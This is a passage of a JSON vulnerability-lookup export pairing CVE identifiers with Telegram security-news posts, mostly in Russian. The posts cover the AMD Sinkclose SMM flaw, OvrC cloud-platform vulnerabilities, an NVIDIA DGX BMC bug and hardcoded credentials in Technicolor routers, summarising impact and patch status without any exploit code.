\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-31315 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS: 7,5. \u041f\u043e\u043b\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0432 \u0434\u043e\u043a\u043b\u0430\u0434\u0435 \u043d\u0430 DefCon.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Sinkclose \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u043f\u043e\u0447\u0442\u0438 20 \u043b\u0435\u0442, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0447\u0438\u043f\u043e\u0432 AMD.\n\n\u041f\u0440\u0438\u0447\u0435\u043c SinkClose \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 (Ring 0) \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 (SMM), \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0435\u0433\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430.\n\nRing -2 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u041e\u0421 \u0438 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u0432 \u041e\u0421.\n\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SinkClose, - \u044d\u0442\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0442\u043e\u0440\u043e\u043c SPI Flash, \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, AMD \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u00a0, \u0447\u0442\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC \u0438 AMD Ryzen, \u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435.\n\n\u0414\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Sinkclose. AMD \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u044d\u0442\u043e \u0432 \u0441\u0432\u043e\u0435\u043c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f Wired, \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0432 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-31315 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e IOActive, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0447\u0442\u043e \u0443\u0436\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 BYOVD \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0443\u043b\u0435\u0439 \u0432 Windows \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u044d\u0442\u043e, Sinkclose \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 AMD, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b APT \u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u0432.", "creation_timestamp": "2024-08-12T11:35:39.000000Z"}, {"uuid": "e7f16037-464a-47e3-a2d9-058951f66db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3153", "type": "seen", "source": "https://t.me/cibsecurity/71565", "content": "\u203c CVE-2023-3153 \u203c\n\nA flaw was found in Open Virtual Network where the service monitor MAC does not properly rate limit. This issue could allow an attacker to cause a denial of service, including on deployments with CoPP enabled and properly configured.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-04T16:11:54.000000Z"}, {"uuid": "e7d6eab6-7c6e-42a9-9465-962edbd9c419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31241", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6430", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Team82 Claroty \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b OvrC \u043e\u0442 Snap One, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nOvrC \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043d\u0435\u043f\u043e\u043b\u0430\u0434\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 IoT \u0432 \u0441\u0435\u0442\u0438, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500\u00a0000 \u043b\u043e\u043a\u0430\u0446\u0438\u044f\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u043d\u0430\u0440\u0443\u0448\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 OvrC, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u043a\u0430\u043c\u0435\u0440\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0434\u0440.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 OvrC Pro \u0438 OvrC Connect, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0441\u044c\u043c\u0438 \u0438\u0437 \u043d\u0438\u0445 \u0432 \u043c\u0430\u0435 2023 \u0433\u043e\u0434\u0430, \u0430 \u0434\u043b\u044f \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0434\u0432\u0443\u0445 - 12 \u043d\u043e\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e-\u043e\u0431\u043b\u0430\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0432\u043e\u0434\u0430, \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0434\u0430\u0436\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2023-28649\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e;\n\n- CVE-2023-31241\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043d\u0435\u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043e\u0431\u0445\u043e\u0434\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430;\n\n- CVE-2023-28386\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430;\n\n- CVE-2024-50381\u00a0(CVSS v4: 9,1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0435\u0433\u043e.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430, \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d PoC- \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 OvrC \u043e\u0442 Team82.", "creation_timestamp": "2024-11-14T14:04:06.000000Z"}, {"uuid": "3861dcc2-49fe-45fc-9e31-b51c56b5ca8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31008", "type": "seen", "source": "https://t.me/cibsecurity/70759", "content": "\u203c CVE-2023-31008 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in IPMI, where an attacker may cause improper input validation. A successful exploit of this vulnerability may lead to code execution, denial of services, escalation of privileges, and information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:01.000000Z"}, {"uuid": "47d74542-947e-49a0-82c2-645f1e8c1386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31808", "type": "seen", "source": "https://t.me/true_secator/4614", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 DSL Technicolor TG670 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0428\u0438\u0440\u043e\u043a\u043e\u043f\u043e\u043b\u043e\u0441\u043d\u044b\u0439 \u0440\u043e\u0443\u0442\u0435\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 